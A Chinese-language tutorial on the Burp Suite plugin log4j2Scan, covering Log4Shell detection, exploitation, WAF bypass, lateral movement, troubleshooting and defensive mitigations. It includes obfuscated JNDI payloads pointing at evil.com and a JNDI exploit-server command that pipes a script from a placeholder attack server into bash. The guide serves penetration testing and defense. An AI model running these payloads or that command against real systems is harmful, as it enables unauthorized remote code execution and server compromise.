BurpSuite插件log4j2Scan实战:自动化Log4Shell漏洞检测与利用
1. 项目概述:为什么我们需要一个高效的log4j2漏洞扫描器
如果你是一名渗透测试工程师、安全研究员,或者正在负责企业应用的安全审计,那么2021年底爆发的Log4j2漏洞(CVE-2021-44228,又称Log4Shell)绝对是你绕不开的一个坎。这个漏洞的威力之大、影响范围之广,堪称近十年来的“核弹级”漏洞。它存在于一个几乎无处不在的Java日志组件——Apache Log4j2中,攻击者只需要让应用记录一条包含特定恶意JNDI(Java Naming and Directory Interface)查找的日志,就能远程执行任意代码,实现“一键getshell”。
漏洞的原理听起来简单,但实战中的挑战却不少。首先,漏洞的触发点隐蔽,可能藏在HTTP头、请求参数、表单数据甚至Cookie里。其次,手工构造和发送Payload效率极低,面对成百上千个接口和系统,无异于大海捞针。最后,漏洞的利用链可能因为目标环境(JDK版本、中间件配置、网络策略)的不同而千变万化,一个通用的Payload可能失效,需要快速迭代测试。
正是在这种背景下,一款能集成到我们日常工作流中的自动化工具变得至关重要。log4j2Scan这款Burp Suite插件,就是为解决这些问题而生的。它不是简单的漏洞检测脚本,而是一个为实战而设计的武器。它深度集成在Burp的代理和扫描器模块中,能够自动、智能地对经过Burp的所有流量进行实时检测和漏洞利用尝试。许多在各大SRC(安全应急响应中心)平台上屡获佳绩的挖掘者,都将它作为自己武器库中的常备工具,因为它能极大提升在广袤的互联网资产中发现“低垂果实”的效率。
简单来说,log4j2Scan的核心价值在于:将繁琐、重复的Log4j2漏洞手工测试过程,转变为自动化、批量化、智能化的实战流程,让安全人员能够专注于更复杂的逻辑漏洞挖掘,而将这种“体力活”交给工具高效完成。
2. 工具核心设计与工作流解析
2.1 设计哲学:无缝集成与主动狩猎
log4j2Scan的设计充分体现了“工具为人服务”的理念。它没有选择作为一个独立的命令行工具,而是作为Burp Suite的插件存在,这带来了几个决定性优势:
- 上下文感知:Burp Suite作为Web安全测试的事实标准,捕获了测试人员与目标应用交互的所有HTTP/HTTPS流量。插件能直接访问这些完整的请求和响应上下文,包括会话(Session)、历史记录(Proxy History)和站点地图(Site Map)。这意味着插件知道哪些参数是可输入的,哪些域名是目标资产,测试不会盲目。
- 工作流无缝衔接:测试人员无需切换工具。在常规的爬虫(Spider)、主动扫描(Active Scan)或手动测试过程中,插件就在后台默默工作,对流量进行增强检测。发现漏洞后,结果直接呈现在Burp的Dashboard、Target或Scanner模块中,与Burp原生漏洞报告格式一致,便于统一管理和导出。
- 利用Burp的强大基础设施:插件可以轻松调用Burp的API来处理编码、解码、宏(Macros)、会话处理(Session Handling)等复杂逻辑,使得Payload的构造和变形更加灵活可靠。
它的工作流可以概括为“监听-检测-利用-报告”四步闭环:
- 监听:插件注册为Burp的
IHttpListener,监听所有经过Burp代理的请求和响应。 - 检测:对出站请求,插件智能地在各种可能的位置(如参数、头、路径)插入探测Payload。这些Payload通常设计为向一个由插件控制或指定的DNSLOG平台发起请求,通过是否有回连(DNS查询或HTTP请求)来判断目标是否存在漏洞。
- 利用:一旦检测到漏洞存在(即有回连),插件可以进一步自动或由用户手动触发真正的RCE(远程代码执行)利用Payload,例如执行命令、上传Webshell等,实现“一键getshell”。
- 报告:所有发现(漏洞URL、触发参数、回连证据)都会在Burp界面中清晰展示,并可以导出为报告。
2.2 核心功能模块拆解
一个成熟的log4j2Scan类插件,通常包含以下几个核心模块:
Payload生成引擎:这是工具的心脏。它不仅仅包含经典的
${jndi:ldap://evil.com/a},还必须拥有一套丰富的Payload变体库,用于绕过可能存在的WAF(Web应用防火墙)或简单的过滤规则。例如:- 大小写混淆:
${jndi:ldap://...},${JNDI:ldap://...} - 嵌套变量:
${${lower:j}ndi:ldap://...},${${::-j}${::-n}${::-d}${::-i}:...} - 协议变体:除了
ldap,还有ldaps、rmi、dns、iiop等,用于探测不同环境下的可用性。 - 绕过特殊字符过滤:使用URL编码、Unicode编码、八进制编码等方式对Payload中的点号、斜杠、冒号进行处理。
- 大小写混淆:
漏洞检测器(Detector):负责判断漏洞是否存在。主流方案是使用DNSLOG或HTTPLOG技术。插件会在Payload中嵌入一个唯一的、由用户或插件自身控制的子域名(如
uuid.your-dnslog-server.com)。如果目标应用存在漏洞并执行了JNDI查找,它就会尝试解析这个域名,从而在DNSLOG服务器上留下记录。检测器定期轮询或通过API查询DNSLOG服务器,确认是否有对应的查询记录出现。漏洞利用器(Exploiter):在确认漏洞存在后,这个模块负责投递真正的恶意代码。它需要启动或连接一个恶意的JNDI服务端(如 marshalsec 或 JNDI-Injection-Exploit 工具启动的LDAP/RMI服务)。该服务端会响应目标的JNDI查询,并返回一个指向远程恶意Java类的Reference,最终导致目标加载并执行该类,实现RCE。
流量扫描与插桩策略:决定“在哪里”以及“如何”插入Payload。一个优秀的策略应该包括:
- 插入点:GET/POST参数、Cookie、HTTP头部(如
User-Agent,X-Forwarded-For,Referer)、URL路径、JSON/XML请求体。 - 智能插桩:避免对二进制文件(如图片、PDF)或静态资源(.css, .js)进行无意义的测试。能够识别并处理JSON、XML等结构化数据,将Payload插入到合适的键值中。
- 去重与速率限制:避免对同一参数重复发送大量Payload,并控制请求频率,防止对目标服务造成拒绝服务(DoS)或触发安全警报。
- 插入点:GET/POST参数、Cookie、HTTP头部(如
用户界面(UI)与配置:提供清晰的配置面板,让用户设置关键的选项,如:
- DNSLOG服务地址和API Key(如使用ceye.io, dnslog.cn等)。
- 需要扫描的域名范围(Scope)。
- 需要排除的域名或文件类型。
- Payload类型选择(仅检测、尝试RCE)。
- 自定义恶意LDAP/RMI服务器地址(用于利用阶段)。
注意:在实际使用中,公开的DNSLOG平台可能存在稳定性或隐私问题。对于企业内网或高保密性测试,安全团队通常会自建DNSLOG和JNDI利用服务器,
log4j2Scan这类插件应支持自定义服务器地址。
3. 实战部署与核心配置详解
3.1 环境准备与插件安装
假设你已经在使用Burp Suite Professional(社区版部分高级API受限,可能影响插件功能)。安装log4j2Scan通常有两种方式:
- 从官方或可信源获取Jar文件:确保你从项目的官方GitHub仓库或可信的安全社区下载最新版本的
log4j2Scan-x.x.x.jar文件。永远不要使用来历不明的插件,以防内置后门。 - 通过Burp的Extender安装:
- 打开Burp,进入
Extender标签页。 - 选择
Extensions子标签,点击Add按钮。 - 在
Extension Details中,将Extension Type设置为Java。 - 点击
Select file...,浏览并选择你下载的JAR文件。 - 点击
Next,Burp会加载插件。如果一切正常,输出区域会显示加载成功的日志,且插件会出现在已加载扩展列表中,状态为Running。
- 打开Burp,进入
安装成功后,你通常会在Burp的主菜单栏、右键菜单或Target/Scanner标签页中看到插件新增的标签或按钮。
3.2 关键配置项解析与设置
插件的威力很大程度上取决于正确的配置。首次使用,你需要重点关注以下几个配置项:
1. DNSLOG配置(核心中的核心)这是漏洞检测的“眼睛”。你需要一个能接收并展示DNS查询记录的服务。
- 公共平台(用于外网测试):如
ceye.io, 注册后你会获得一个专属域名(如xxxxx.ceye.io)和API Token。在插件配置中填入域名和Token。插件会自动生成类似随机字符串.xxxxx.ceye.io的子域名作为Payload。 - 自建服务(用于内网/高保密测试):推荐使用
dnslog.cn的开源版本或其他自建方案(如Dnslog-Platform-Golang)。这需要你有一台有公网IP的服务器,并配置好DNS解析。在插件中填入自建服务的域名和API地址。
配置要点:在插件的配置面板找到类似Dnslog Server或Callback的选项,正确填写Domain和API Key。完成后,务必点击Test Connection或Verify按钮,确保插件能成功与DNSLOG服务通信并获取记录。
2. 扫描范围(Scope)设置盲目扫描整个互联网既低效也不道德。你必须精确设定目标。
- 使用Burp原生Scope:在
Target->Scope中定义好你的目标域名/IP范围。大部分优秀插件会尊重Burp的Scope设置,只对范围内的流量进行测试。 - 插件内二次过滤:有些插件提供额外的包含(Include)和排除(Exclude)规则,可以用正则表达式进行更精细的控制,例如排除登录接口 (
.*/login.*) 或特定的静态文件后缀 (.*\.(js|css|png|jpg)$)。
3. Payload与攻击模式选择
- 检测模式(Detect Only):仅使用DNSLOG进行漏洞存在性验证。这是最安全、最常用的第一步,不会对目标造成实际影响(除了DNS查询记录)。
- 利用模式(Exploit):在检测到漏洞后,自动或手动触发RCE利用。这需要你提前启动并配置好恶意的JNDI服务器(例如使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)。- JNDI服务器命令示例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://your-attack-server/shell.sh | bash" -A "your-vps-ip"。此命令会启动LDAP/RMI服务,并监听指定IP。 - 插件配置:在插件的利用设置中,填入上述JNDI服务器监听的地址和端口(如
ldap://your-vps-ip:1389)。
- JNDI服务器命令示例:
4. 插入点与协议选择
- 插入点:建议全选所有可能的插入点(参数、头、路径、Body),以确保覆盖率。
- 协议:优先尝试
ldap和rmi,它们是利用链最成熟的协议。如果目标环境限制出网(不能访问外部LDAP),可以尝试dns协议用于纯检测,但dns协议通常无法直接用于代码执行。
实操心得:在正式开始大规模扫描前,务必在一个完全可控的测试环境(如自己搭建的Vulhub靶场)中进行验证。验证流程是:配置插件 -> 访问靶场漏洞点 -> 查看DNSLOG是否有回显 -> 尝试利用模式是否能收到反弹Shell。这一步能确保你的整个工具链(插件、DNSLOG、JNDI服务器)配置正确,避免在真实测试中做无用功或误操作。
4. 实战扫描流程与高级技巧
4.1 标准扫描流程
配置妥当后,你可以开始实战扫描。一个高效的流程如下:
- 资产收集与爬取:使用Burp的
Spider或Scanner的爬虫功能,或者导入Site Map,对目标Web应用进行全面的内容爬取。目的是让Burp的代理历史(Proxy History)和站点地图中充满目标的URL和参数。 - 启动被动扫描:确保
log4j2Scan插件处于运行状态。此时,插件已经开始作为IHttpListener工作。你手动浏览网站产生的所有代理流量,都会被插件自动分析并尝试插入Payload进行探测。这是一种“低干扰”的检测方式。 - 发起主动扫描:对于重点URL或参数,你可以使用Burp的
Active Scan功能。高级插件会将自己注册为Burp的扫描检查器(Scan Check),当你右键点击一个请求选择Active Scan时,插件定义的扫描逻辑也会被执行,进行更深入、更密集的Payload测试。 - 监控与结果分析:扫描过程中,密切关注以下几个地方:
- 插件的独立标签页:通常会有实时日志,显示正在测试的URL、插入的Payload以及DNSLOG回调情况。
- Burp的Dashboard:成功发现的漏洞会以告警(Alerts)的形式出现在这里,严重级别通常是
High。 - Target -> Site Map:存在漏洞的URL会被标记上红色的漏洞图标。
- 你的DNSLOG平台控制台:这是最直接的证据来源,看到有来自目标IP的、包含你唯一标识的DNS查询记录,基本就可以确认漏洞存在。
4.2 高级技巧与场景化应用
掌握了基础操作后,以下技巧能让你在SRC挖掘或红队评估中更具优势:
1. 针对“盲点”的深度测试Log4j2漏洞可能出现在非传统的输入点。
- 文件上传功能:上传文件的文件名、文件内容(如果服务端会解析或记录)可能被记录。可以尝试上传文件名包含Payload的文档。
- 邮件、短信、站内信等异步功能:这些功能的后台处理系统很可能使用Java且记录日志。测试时,在收件人、标题、内容中插入Payload。
- API接口与微服务:现代应用大量使用JSON/XML API。确保你的插件能正确解析这些格式,并将Payload插入到
body的各个层级字段中,而不仅仅是顶层的参数。
2. 绕过WAF的Payload构造思路面对云WAF或硬件WAF,简单的Payload会被拦截。插件内置的变体可能不够,需要手动补充或调整策略。
- 分块传输编码(Chunked Transfer Encoding):利用Burp的
Intruder或插件高级设置,将请求改为分块传输,可以绕过一些基于正则匹配的WAF。 - Payload位置转移:将Payload放在不常见的HTTP头中,如
X-Client-IP、X-Forwarded-Host,或者放在URL的片段(Fragment,#之后)部分(虽然较少被记录)。 - 结合其他漏洞:如果存在SSRF(服务器端请求伪造)漏洞,可以尝试将JNDI的LDAP服务器地址指向
127.0.0.1或内网地址,这可能绕过对外部地址访问的监控。
3. 内网横向移动中的应用在内网渗透中,log4j2Scan可以发挥更大作用。
- 搭配Burp Collaborator(自建):Burp Pro自带的Collaborator服务器是比公共DNSLOG更安全、更可控的回连服务。在插件中配置使用Collaborator,所有回连都会在Burp内部显示,无需依赖外部服务。
- 扫描内部管理系统:很多内网的运维监控系统(如Jenkins, Confluence, Jira, 各种中间件管理后台)、OA系统是Java开发的,且更新缓慢,是Log4j2漏洞的重灾区。使用Burp扫描这些系统,成功率往往很高。
- 利用漏洞作为跳板:在一台边缘服务器上getshell后,可以将其作为代理,配置Burp通过该代理扫描内网其他不可直达的IP段,实现横向扩散扫描。
5. 常见问题、排查技巧与防御视角
5.1 常见问题速查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 插件加载失败 | 1. Java版本不兼容 2. Burp API版本不匹配 3. 依赖缺失 | 1. 检查Burp和系统Java版本(建议JDK 8/11)。 2. 确认插件版本与你的Burp版本兼容。 3. 查看Extender的 Errors输出标签,根据错误信息搜索解决方案。 |
| DNSLOG无回显 | 1. 目标不存在漏洞 2. Payload被WAF/IPS拦截 3. 目标无法解析外部DNS 4. 插件配置错误 | 1. 使用公开POC或不同变体在可控靶场验证插件本身。 2. 尝试使用更冷门的DNSLOG子域名或协议(如 dns://)。3. 检查目标服务器网络策略,可能禁止出网DNS。 4.重点检查:DNSLOG平台配置的域名和API Key是否正确;点击“测试连接”是否成功。 |
| 检测到漏洞但无法利用 | 1. 目标JDK版本较高(>=8u191/11.0.1) 2. JNDI服务器配置错误 3. 网络不通 | 1. 高版本JDK默认限制了远程类加载。需尝试其他利用链,如Local ClassLoader或利用其他依赖的漏洞(如CVE-2021-45046)。2. 确认JNDI服务器已正确启动,且监听地址、端口与插件配置一致。 3. 确保目标服务器能访问到你的JNDI服务器IP和端口(检查防火墙)。 |
| 扫描导致目标服务异常 | 1. Payload过多导致DoS 2. 触发了应用告警机制 | 1. 在插件设置中增加请求间隔(Throttle),降低并发线程数。 2. 缩小扫描范围,避免对登录、注销等敏感功能进行高频测试。 |
| Burp变卡或崩溃 | 1. 扫描线程过多 2. 内存不足 3. 插件存在Bug | 1. 减少主动扫描的线程数。 2. 为Burp分配更多内存(修改启动脚本中的 -Xmx参数)。3. 禁用其他插件,排查冲突;更新插件到最新版本。 |
5.2 从防御者视角看扫描与修复
作为一名安全从业者,不仅要会用工具攻击,更要理解如何防御。通过log4j2Scan的扫描原理,我们可以推导出有效的防御和检测措施:
精准的漏洞修复:
- 升级:将Log4j2核心组件升级至安全版本(2.17.0及以上,注意后续的CVE)。
- 缓解措施:如果无法立即升级,可采取临时措施:a) 设置JVM参数
-Dlog4j2.formatMsgNoLookups=true; b) 移除log4j-coreJAR包中的JndiLookup类。
有效的边界防护:
- WAF规则:部署能识别各种Log4j2 Payload变体的WAF规则,不仅匹配
${jndi:,还要能识别嵌套变量、大小写混淆、各种编码等。 - 网络层控制:严格限制服务器出站流量。禁止业务服务器主动向外部发起LDAP、RMI、DNS(非必要)协议连接。这是阻断利用链最有效的一环。
- WAF规则:部署能识别各种Log4j2 Payload变体的WAF规则,不仅匹配
主动的威胁狩猎:
- 日志监控:在应用和系统日志中,实时监控包含
${jndi:、${ldap:、${rmi:等关键词的条目。任何此类记录都应视为已遭受攻击的高危警报。 - 网络流量分析(NTA):监控服务器发起的异常DNS查询(特别是查询域名看起来是随机字符串的)和对外部IP的LDAP/RMI连接尝试。
- 日志监控:在应用和系统日志中,实时监控包含
供应链安全:
- 对内部使用的所有第三方Java组件(包括间接依赖)进行持续的资产清点和漏洞扫描,及时获取类似Log4j2这种基础组件的漏洞情报。
工具是能力的延伸,log4j2Scan这样的自动化插件极大地提升了我们应对大规模、高威胁漏洞的响应效率。但它的价值发挥,完全依赖于使用者对漏洞原理的深刻理解、对测试目标的精准把握、对操作流程的严谨把控以及对安全攻防体系的整体认知。在实战中不断调试策略、分析结果、总结经验,才是从“会用工具”到“精通攻防”的关键跨越。最后,记住一个原则:在任何未经授权的系统上进行测试都是非法的,所有安全测试都必须在获得明确授权的前提下,在可控的范围内进行。
